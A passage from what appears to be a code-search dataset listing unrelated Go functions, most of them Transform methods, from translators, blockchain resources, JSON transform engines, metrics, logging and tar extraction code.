typ.Op {\n\t\t// Bitwise complement\n\t\tcase token.XOR:\n\t\t\top = \"~\"\n\t\t// Address operator\n\t\tcase token.AND:\n\t\t\te.isAddress = true\n\t\t\twriteOp = false\n\t\tcase token.ARROW:\n\t\t\te.tr.addError(\"%s: channel operator\", e.tr.fset.Position(typ.OpPos))\n\t\t\te.tr.hasError = true\n\t\t\treturn\n\t\t}\n\n\t\tif writeOp {\n\t\t\te.WriteString(op)\n\t\t}\n\t\te.transform(typ.X)\n\n\t// The type has not been indicated\n\tcase nil:\n\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"unimplemented: %T\", expr))\n\t}\n}","func transform(sc *scope, e sexpr) sexpr {\n\treturn e\n}","func TransformCommand(c *cli.Context) error {\n\tif c.NArg() != 1 {\n\t\tcli.ShowCommandHelp(c, \"transform\")\n\n\t\treturn fmt.Errorf(\"Missing required argument FILE\")\n\t}\n\n\tfhirVersion := c.GlobalString(\"fhir\")\n\tfilename := c.Args().Get(0)\n\n\tfileContent, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Error reading file %s\", filename)\n\t}\n\n\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\n\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\n\n\tres := iter.Read()\n\n\tif res == nil {\n\t\treturn errors.Wrapf(err, \"Error parsing file %s as JSON\", filename)\n\t}\n\n\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error performing transformation\")\n\t}\n\n\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \"\", \" \")\n\n\tos.Stdout.Write(outJson)\n\tos.Stdout.Write([]byte(\"\\n\"))\n\n\treturn nil\n}","func (UnbondDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.UnbondData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn UnbondDataResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tValue: data.Value.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}","func Transform(db *gorm.DB, queries ...Query) *gorm.DB {\n\tfor _, q := range queries {\n\t\tdb = q(db)\n\t}\n\n\treturn db\n}","func (def *Definition) Transform(v interface{}) ([]Event, error) {\n\treturn def.g.transform(v)\n}","func (CreateMultisigDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.CreateMultisigData)\n\n\tvar weights []string\n\tfor _, weight := range data.Weights {\n\t\tweights = append(weights, strconv.Itoa(int(weight)))\n\t}\n\n\treturn CreateMultisigDataResource{\n\t\tThreshold: strconv.Itoa(int(data.Threshold)),\n\t\tWeights: weights,\n\t\tAddresses: data.Addresses,\n\t}\n}","func (c *Curl) transform() {\n\tvar tmp [StateSize]int8\n\ttransform(&tmp, &c.state, uint(c.rounds))\n\t// for odd number of rounds we need to copy the buffer into the state\n\tif c.rounds%2 != 0 {\n\t\tcopy(c.state[:], tmp[:])\n\t}\n}","func (e Encoder) Transform(input string) (string, error) {\n\tif e.ShouldDecode {\n\t\tdata, err := e.GetEncoder().DecodeString(input)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"can't decode input: %v\", err)\n\t\t}\n\n\t\treturn string(data), nil\n\t}\n\n\treturn e.GetEncoder().EncodeToString([]byte(input)), nil\n}","func transformEvent(event *APIEvents) {\n\t// if event version is <= 1.21 there will be no Action and no Type\n\tif event.Action == \"\" && event.Type == \"\" {\n\t\tevent.Action = event.Status\n\t\tevent.Actor.ID = event.ID\n\t\tevent.Actor.Attributes = map[string]string{}\n\t\tswitch event.Status {\n\t\tcase \"delete\", \"import\", \"pull\", \"push\", \"tag\", \"untag\":\n\t\t\tevent.Type = \"image\"\n\t\tdefault:\n\t\t\tevent.Type = \"container\"\n\t\t\tif event.From != \"\" {\n\t\t\t\tevent.Actor.Attributes[\"image\"] = event.From\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif event.Status == \"\" {\n\t\t\tif event.Type == \"image\" || event.Type == \"container\" {\n\t\t\t\tevent.Status = event.Action\n\t\t\t} else {\n\t\t\t\t// Because just the Status has been overloaded with different Types\n\t\t\t\t// if an event is not for an image or a container, we prepend the type\n\t\t\t\t// to avoid problems for people relying on actions being only for\n\t\t\t\t// images and containers\n\t\t\t\tevent.Status = event.Type + \":\" + event.Action\n\t\t\t}\n\t\t}\n\t\tif event.ID == \"\" {\n\t\t\tevent.ID = event.Actor.ID\n\t\t}\n\t\tif event.From == \"\" {\n\t\t\tevent.From = event.Actor.Attributes[\"image\"]\n\t\t}\n\t}\n}","func (a *AddLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\tfor i := range mfs {\n\t\tfor j, m := range mfs[i].Metric {\n\t\t\t// Filter out labels to add\n\t\t\tlabels := m.Label[:0]\n\t\t\tfor _, l := range m.Label {\n\t\t\t\tif _, ok := a.Labels[l.GetName()]; !ok {\n\t\t\t\t\tlabels = append(labels, l)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add all new labels to the metric\n\t\t\tfor k, v := range a.Labels {\n\t\t\t\tlabels = append(labels, L(k, v))\n\t\t\t}\n\t\t\tsort.Sort(labelPairSorter(labels))\n\t\t\tmfs[i].Metric[j].Label = labels\n\t\t}\n\t}\n\treturn mfs\n}","func (s *ShowCreateDatabase) TransformUp(f sql.TransformNodeFunc) (sql.Node, error) {\n\treturn f(s)\n}","func Transform[T, R any](it TryNextor[T], with func(context.Context, T) (R, error), cs ...TransformConfig) TryNextor[R] {\n\tr := &chunkMapping[T, R]{\n\t\tinner: it,\n\t\tmapper: with,\n\t\tchunkMappingCfg: chunkMappingCfg{\n\t\t\tchunkSize: 1,\n\t\t},\n\t}\n\tfor _, c := range cs {\n\t\tc(&r.chunkMappingCfg)\n\t}\n\tif r.quota == nil {\n\t\tr.quota = utils.NewWorkerPool(r.chunkSize, \"max-concurrency\")\n\t}\n\tif r.quota.Limit() > int(r.chunkSize) {\n\t\tr.chunkSize = uint(r.quota.Limit())\n\t}\n\treturn r\n}","func fnTransform(ctx Context, doc *JDoc, params []string) interface{} {\n\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\n\tif params == nil || len(params) == 0 || len(params) > 4 {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"wrong_number_of_parameters\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"wrong number of parameters in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\th := GetCurrentHandlerConfig(ctx)\n\tif h == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"no_handler\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"current handler not found in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tif h.Transformations == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"no_named_transformations\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformations found in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tt := h.Transformations[extractStringParam(params[0])]\n\tif t == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"unknown_transformation\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformation %s found in call to transform function\", extractStringParam(params[0])), \"transform\", params})\n\t\treturn nil\n\t}\n\tvar section interface{}\n\tsection = doc.GetOriginalObject()\n\tif len(params) >= 2 {\n\t\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"invalid_json\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar pattern *JDoc\n\tif len(params) >= 3 && extractStringParam(params[2]) != \"\" {\n\t\tvar err error\n\t\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar join *JDoc\n\tif len(params) == 4 && extractStringParam(params[3]) != \"\" {\n\t\tvar err error\n\t\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tif pattern != nil {\n\t\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\n\t\tif !c {\n\t\t\treturn section\n\t\t}\n\t}\n\tif join != nil {\n\t\tsection = doc.merge(join.GetOriginalObject(), section)\n\t}\n\tlittleDoc, err := NewJDocFromInterface(section)\n\tif err != nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"cause\", \"json_parse_error\", \"op\", \"transform\", \"error\", err.Error(), \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tvar littleRes *JDoc\n\tif t.IsTransformationByExample {\n\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t} else {\n\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t}\n\treturn littleRes.GetOriginalObject()\n}","func (t *Transformer) Transform(ctx context.Context, request []byte) ([]byte, error) {\n\tspan, ctx := opentracing.StartSpanFromContext(ctx, \"feast.Transform\")\n\tdefer span.Finish()\n\n\tfeastFeatures := make(map[string]*FeastFeature, len(t.config.TransformerConfig.Feast))\n\n\t// parallelize feast call per feature table\n\tresChan := make(chan result, len(t.config.TransformerConfig.Feast))\n\tfor _, config := range t.config.TransformerConfig.Feast {\n\t\tgo func(cfg *transformer.FeatureTable) {\n\t\t\ttableName := createTableName(cfg.Entities)\n\t\t\tval, err := t.getFeastFeature(ctx, tableName, request, cfg)\n\t\t\tresChan <- result{tableName, val, err}\n\t\t}(config)\n\t}\n\n\t// collect result\n\tfor i := 0; i < cap(resChan); i++ {\n\t\tres := <-resChan\n\t\tif res.err != nil {\n\t\t\treturn nil, res.err\n\t\t}\n\t\tfeastFeatures[res.tableName] = res.feastFeature\n\t}\n\n\tout, err := enrichRequest(ctx, request, feastFeatures)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn out, err\n}","func transformInput(inputs []io.Reader, errWriter, outWriter io.Writer, rt resourceTransformer) int {\n\tpostInjectBuf := &bytes.Buffer{}\n\treportBuf := &bytes.Buffer{}\n\n\tfor _, input := range inputs {\n\t\terrs := processYAML(input, postInjectBuf, reportBuf, rt)\n\t\tif len(errs) > 0 {\n\t\t\tfmt.Fprintf(errWriter, \"Error transforming resources:\\n%v\", concatErrors(errs, \"\\n\"))\n\t\t\treturn 1\n\t\t}\n\n\t\t_, err := io.Copy(outWriter, postInjectBuf)\n\n\t\t// print error report after yaml output, for better visibility\n\t\tio.Copy(errWriter, reportBuf)\n\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(errWriter, \"Error printing YAML: %v\\n\", err)\n\t\t\treturn 1\n\t\t}\n\t}\n\treturn 0\n}","func (s *schema) NewTransform(name string, input io.Reader, ctx *transformctx.Ctx) (Transform, error) {\n\tbr, err := ios.StripBOM(s.header.ParserSettings.WrapEncoding(input))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ctx.InputName != name {\n\t\tctx.InputName = name\n\t}\n\tingester, err := s.handler.NewIngester(ctx, br)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// If caller already specified a way to do context aware error formatting, use it;\n\t// otherwise (vast majority cases), use the Ingester (which implements CtxAwareErr\n\t// interface) created by the schema handler.\n\tif ctx.CtxAwareErr == nil {\n\t\tctx.CtxAwareErr = ingester\n\t}\n\treturn &transform{ingester: ingester}, nil\n}","func (s *BaseSyslParserListener) ExitTransform(ctx *TransformContext) {}","func TransformAccount(ledgerChange ingestio.Change) (AccountOutput, error) {\n\tledgerEntry, outputDeleted, err := utils.ExtractEntryFromChange(ledgerChange)\n\tif err != nil {\n\t\treturn AccountOutput{}, err\n\t}\n\n\taccountEntry, accountFound := ledgerEntry.Data.GetAccount()\n\tif !accountFound {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Could not extract account data from ledger entry; actual type is %s\", ledgerEntry.Data.Type)\n\t}\n\n\toutputID, err := accountEntry.AccountId.GetAddress()\n\tif err != nil {\n\t\treturn AccountOutput{}, err\n\t}\n\n\toutputBalance := int64(accountEntry.Balance)\n\tif outputBalance < 0 {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Balance is negative (%d) for account: %s\", outputBalance, outputID)\n\t}\n\n\t//The V1 struct is the first version of the extender from accountEntry. It contains information on liabilities, and in the future\n\t//more extensions may contain extra information\n\taccountExtensionInfo, V1Found := accountEntry.Ext.GetV1()\n\tvar outputBuyingLiabilities, outputSellingLiabilities int64\n\tif V1Found {\n\t\tliabilities := accountExtensionInfo.Liabilities\n\t\toutputBuyingLiabilities, outputSellingLiabilities = int64(liabilities.Buying), int64(liabilities.Selling)\n\t\tif outputBuyingLiabilities < 0 {\n\t\t\treturn AccountOutput{}, fmt.Errorf(\"The buying liabilities count is negative (%d) for account: %s\", outputBuyingLiabilities, outputID)\n\t\t}\n\n\t\tif outputSellingLiabilities < 0 {\n\t\t\treturn AccountOutput{}, fmt.Errorf(\"The selling liabilities count is negative (%d) for account: %s\", outputSellingLiabilities, outputID)\n\t\t}\n\t}\n\n\toutputSequenceNumber := int64(accountEntry.SeqNum)\n\tif outputSequenceNumber < 0 {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Account sequence number is negative (%d) for account: %s\", outputSequenceNumber, outputID)\n\t}\n\n\toutputNumSubentries := uint32(accountEntry.NumSubEntries)\n\n\tinflationDestAccountID := accountEntry.InflationDest\n\tvar outputInflationDest string\n\tif inflationDestAccountID != nil {\n\t\toutputInflationDest, err = inflationDestAccountID.GetAddress()\n\t\tif err != nil {\n\t\t\treturn AccountOutput{}, err\n\t\t}\n\t}\n\n\toutputFlags := uint32(accountEntry.Flags)\n\n\toutputHomeDomain := string(accountEntry.HomeDomain)\n\n\toutputMasterWeight := int32(accountEntry.MasterKeyWeight())\n\toutputThreshLow := int32(accountEntry.ThresholdLow())\n\toutputThreshMed := int32(accountEntry.ThresholdMedium())\n\toutputThreshHigh := int32(accountEntry.ThresholdHigh())\n\n\toutputLastModifiedLedger := uint32(ledgerEntry.LastModifiedLedgerSeq)\n\n\ttransformedAccount := AccountOutput{\n\t\tAccountID: outputID,\n\t\tBalance: outputBalance,\n\t\tBuyingLiabilities: outputBuyingLiabilities,\n\t\tSellingLiabilities: outputSellingLiabilities,\n\t\tSequenceNumber: outputSequenceNumber,\n\t\tNumSubentries: outputNumSubentries,\n\t\tInflationDestination: outputInflationDest,\n\t\tFlags: outputFlags,\n\t\tHomeDomain: outputHomeDomain,\n\t\tMasterWeight: outputMasterWeight,\n\t\tThresholdLow: outputThreshLow,\n\t\tThresholdMedium: outputThreshMed,\n\t\tThresholdHigh: outputThreshHigh,\n\t\tLastModifiedLedger: outputLastModifiedLedger,\n\t\tDeleted: outputDeleted,\n\t}\n\treturn transformedAccount, nil\n}","func (DeclareCandidacyDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.DeclareCandidacyData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn DeclareCandidacyDataResource{\n\t\tAddress: data.Address.String(),\n\t\tPubKey: data.PubKey.String(),\n\t\tCommission: strconv.Itoa(int(data.Commission)),\n\t\tStake: data.Stake.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}","func (RecreateCoinDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.RecreateCoinData)\n\n\treturn RecreateCoinDataResource{\n\t\tName: data.Name,\n\t\tSymbol: data.Symbol,\n\t\tInitialAmount: data.InitialAmount.String(),\n\t\tInitialReserve: data.InitialReserve.String(),\n\t\tConstantReserveRatio: strconv.Itoa(int(data.ConstantReserveRatio)),\n\t\tMaxSupply: data.MaxSupply.String(),\n\t}\n}","func (t *Transform) Transform() *Transform {\n\treturn t\n}","func (t *readFramebuffer) Transform(ctx context.Context, id api.CmdID, cmd api.Cmd, out transform.Writer) error {\n\ts := out.State()\n\tst := GetState(s)\n\tif cmd, ok := cmd.(*InsertionCommand); ok {\n\t\tidx_string := keyFromIndex(cmd.idx)\n\t\tif r, ok := t.injections[idx_string]; ok {\n\t\t\t// If this command is FOR an EOF command, we want to mutate it, so that\n\t\t\t// we have the presentation info available.\n\t\t\tif cmd.callee != nil && cmd.callee.CmdFlags(ctx, id, s).IsEndOfFrame() {\n\t\t\t\tcmd.callee.Mutate(ctx, id, out.State(), nil, nil)\n\t\t\t}\n\t\t\tfor _, injection := range r {\n\t\t\t\tif err := injection.fn(ctx, cmd, injection.res, out); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\t}\n\tif err := out.MutateAndWrite(ctx, id, cmd); err != nil {\n\t\treturn err\n\t}\n\t// If we have no deferred submissions left, then we can terminate\n\tif len(t.pendingReads) > 0 && len(st.deferredSubmissions) == 0 {\n\t\tif id != api.CmdNoID {\n\t\t\treturn t.FlushPending(ctx, out)\n\t\t}\n\t}\n\treturn nil\n}","func fnITransform(ctx Context, doc *JDoc, params []string) interface{} {\n\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\n\tif params == nil || len(params) == 0 || len(params) > 4 {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"wrong_number_of_parameters\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"wrong number of parameters in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\th := GetCurrentHandlerConfig(ctx)\n\tif h == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"no_handler\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"current handler not found in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\tif h.Transformations == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"no_named_transformations\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformations found in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\tt := h.Transformations[extractStringParam(params[0])]\n\tif t == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"unknown_transformation\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformation %s found in call to itransform function\", extractStringParam(params[0])), \"itransform\", params})\n\t\treturn nil\n\t}\n\tvar section interface{}\n\tsection = doc.GetOriginalObject()\n\tif len(params) >= 2 {\n\t\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"invalid_json\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar pattern *JDoc\n\tif len(params) >= 3 && extractStringParam(params[2]) != \"\" {\n\t\tvar err error\n\t\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar join *JDoc\n\tif len(params) == 4 && extractStringParam(params[3]) != \"\" {\n\t\tvar err error\n\t\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tswitch section.(type) {\n\t// apply sub-transformation iteratively to all array elements\n\tcase []interface{}:\n\t\tfor i, a := range section.([]interface{}) {\n\t\t\tif pattern != nil {\n\t\t\t\tc, _ := doc.contains(a, pattern.GetOriginalObject(), 0)\n\t\t\t\tif !c {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tif join != nil {\n\t\t\t\ta = doc.merge(join.GetOriginalObject(), a)\n\t\t\t}\n\t\t\t//ctx.Log().Info(\"A\", a, \"MERGED\", amerged, \"JOIN\", join.GetOriginalObject())\n\t\t\tlittleDoc, err := NewJDocFromInterface(a)\n\t\t\tif err != nil {\n\t\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"json_parse_error\", \"error\", err.Error(), \"params\", params)\n\t\t\t\tstats.IncErrors()\n\t\t\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to itransform function\"), \"itransform\", params})\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tvar littleRes *JDoc\n\t\t\tif t.IsTransformationByExample {\n\t\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t\t} else {\n\t\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t\t}\n\t\t\t//ctx.Log().Info(\"item_in\", a, \"item_out\", littleRes.StringPretty(), \"path\", extractStringParam(params[2]), \"idx\", i)\n\t\t\tsection.([]interface{})[i] = littleRes.GetOriginalObject()\n\t\t}\n\t\treturn section\n\t/*case map[string]interface{}:\n\tfor k, v := range section.(map[string]interface{}) {\n\t\tif pattern != nil {\n\t\t\tc, _ := doc.contains(v, pattern.GetOriginalObject(), 0)\n\t\t\tif !c {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif join != nil {\n\t\t\tv = doc.merge(join.GetOriginalObject(), v)\n\t\t}\n\t\t//ctx.Log().Info(\"A\", a, \"MERGED\", amerged, \"JOIN\", join.GetOriginalObject())\n\t\tlittleDoc, err := NewJDocFromInterface(v)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"error\", err.Error(), \"params\", params)\n\t\t\tstats.IncErrors()\n\t\t\treturn \"\"\n\t\t}\n\t\tvar littleRes *JDoc\n\t\tif t.IsTransformationByExample {\n\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t} else {\n\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t}\n\t\t//ctx.Log().Info(\"item_in\", a, \"item_out\", littleRes.StringPretty(), \"path\", extractStringParam(params[2]), \"idx\", i)\n\t\tsection.(map[string]interface{})[k] = littleRes.GetOriginalObject()\n\t}\n\treturn section*/\n\t// apply sub-transformation to single sub-section of document\n\tdefault:\n\t\tif pattern != nil {\n\t\t\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\n\t\t\tif !c {\n\t\t\t\treturn section\n\t\t\t}\n\t\t}\n\t\tif join != nil {\n\t\t\tsection = doc.merge(join.GetOriginalObject(), section)\n\t\t}\n\t\tlittleDoc, err := NewJDocFromInterface(section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"json_parse_error\", \"error\", err.Error(), \"params\", params)\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to itransform function: %s\", err.Error()), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t\tvar littleRes *JDoc\n\t\tif t.IsTransformationByExample {\n\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t} else {\n\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t}\n\t\treturn littleRes.GetOriginalObject()\n\t}\n}","func makeUnstructuredEntry(\n\tctx context.Context,\n\ts Severity,\n\tc Channel,\n\tdepth int,\n\tredactable bool,\n\tformat string,\n\targs ...interface{},\n) (res logEntry) {\n\tres = makeEntry(ctx, s, c, depth+1)\n\n\tres.structured = false\n\n\tif redactable {\n\t\tvar buf redact.StringBuilder\n\t\tif len(args) == 0 {\n\t\t\t// TODO(knz): Remove this legacy case.\n\t\t\tbuf.Print(redact.Safe(format))\n\t\t} else if len(format) == 0 {\n\t\t\tbuf.Print(args...)\n\t\t} else {\n\t\t\tbuf.Printf(format, args...)\n\t\t}\n\t\tres.payload = makeRedactablePayload(buf.RedactableString())\n\t} else {\n\t\tvar buf strings.Builder\n\t\tformatArgs(&buf, format, args...)\n\t\tres.payload = makeUnsafePayload(buf.String())\n\t}\n\n\treturn res\n}","func transformAddr(n *ir.AddrExpr) {\n\tswitch n.X.Op() {\n\tcase ir.OARRAYLIT, ir.OMAPLIT, ir.OSLICELIT, ir.OSTRUCTLIT:\n\t\tn.SetOp(ir.OPTRLIT)\n\t}\n}","func Transform(extract map[int][]string) map[string]int {\n\tret := make(map[string]int)\n\n\tfor k, v := range extract {\n\t\tfor _, letter := range v {\n\t\t\tret[strings.ToLower(letter)] = k\n\t\t}\n\t}\n\n\treturn ret\n}","func (RedeemCheckDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.RedeemCheckData)\n\n\treturn RedeemCheckDataResource{\n\t\tRawCheck: base64.StdEncoding.EncodeToString(data.RawCheck),\n\t\tProof: base64.StdEncoding.EncodeToString(data.Proof[:]),\n\t}\n}","func (entity *Base) Transform() *Transform {\n\treturn &entity.transform\n}","func (DelegateDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.DelegateData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn DelegateDataResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tValue: data.Value.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}","func (t merged) Transform(spec *specs.Spec) error {\n\tfor _, transformer := range t {\n\t\tif err := transformer.Transform(spec); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (s *BaseSyslParserListener) EnterTransform_return_type(ctx *Transform_return_typeContext) {}","func (te *TarExtractor) UnpackEntry(root string, hdr *tar.Header, r io.Reader) (Err error) {\n\t// Make the paths safe.\n\thdr.Name = CleanPath(hdr.Name)\n\troot = filepath.Clean(root)\n\n\tlog.WithFields(log.Fields{\n\t\t\"root\": root,\n\t\t\"path\": hdr.Name,\n\t\t\"type\": hdr.Typeflag,\n\t}).Debugf(\"unpacking entry\")\n\n\t// Get directory and filename, but we have to safely get the directory\n\t// component of the path. SecureJoinVFS will evaluate the path itself,\n\t// which we don't want (we're clever enough to handle the actual path being\n\t// a symlink).\n\tunsafeDir, file := filepath.Split(hdr.Name)\n\tif filepath.Join(\"/\", hdr.Name) == \"/\" {\n\t\t// If we got an entry for the root, then unsafeDir is the full path.\n\t\tunsafeDir, file = hdr.Name, \".\"\n\t\t// If we're being asked to change the root type, bail because they may\n\t\t// change it to a symlink which we could inadvertently follow.\n\t\tif hdr.Typeflag != tar.TypeDir {\n\t\t\treturn errors.New(\"malicious tar entry -- refusing to change type of root directory\")\n\t\t}\n\t}\n\tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"sanitise symlinks in root\")\n\t}\n\tpath := filepath.Join(dir, file)\n\n\t// Before we do anything, get the state of dir. Because we might be adding\n\t// or removing files, our parent directory might be modified in the\n\t// process. As a result, we want to be able to restore the old state\n\t// (because we only apply state that we find in the archive we're iterating\n\t// over). We can safely ignore an error here, because a non-existent\n\t// directory will be fixed by later archive entries.\n\tif dirFi, err := te.fsEval.Lstat(dir); err == nil && path != dir {\n\t\t// FIXME: This is really stupid.\n\t\t// #nosec G104\n\t\tlink, _ := te.fsEval.Readlink(dir)\n\t\tdirHdr, err := tar.FileInfoHeader(dirFi, link)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"convert dirFi to 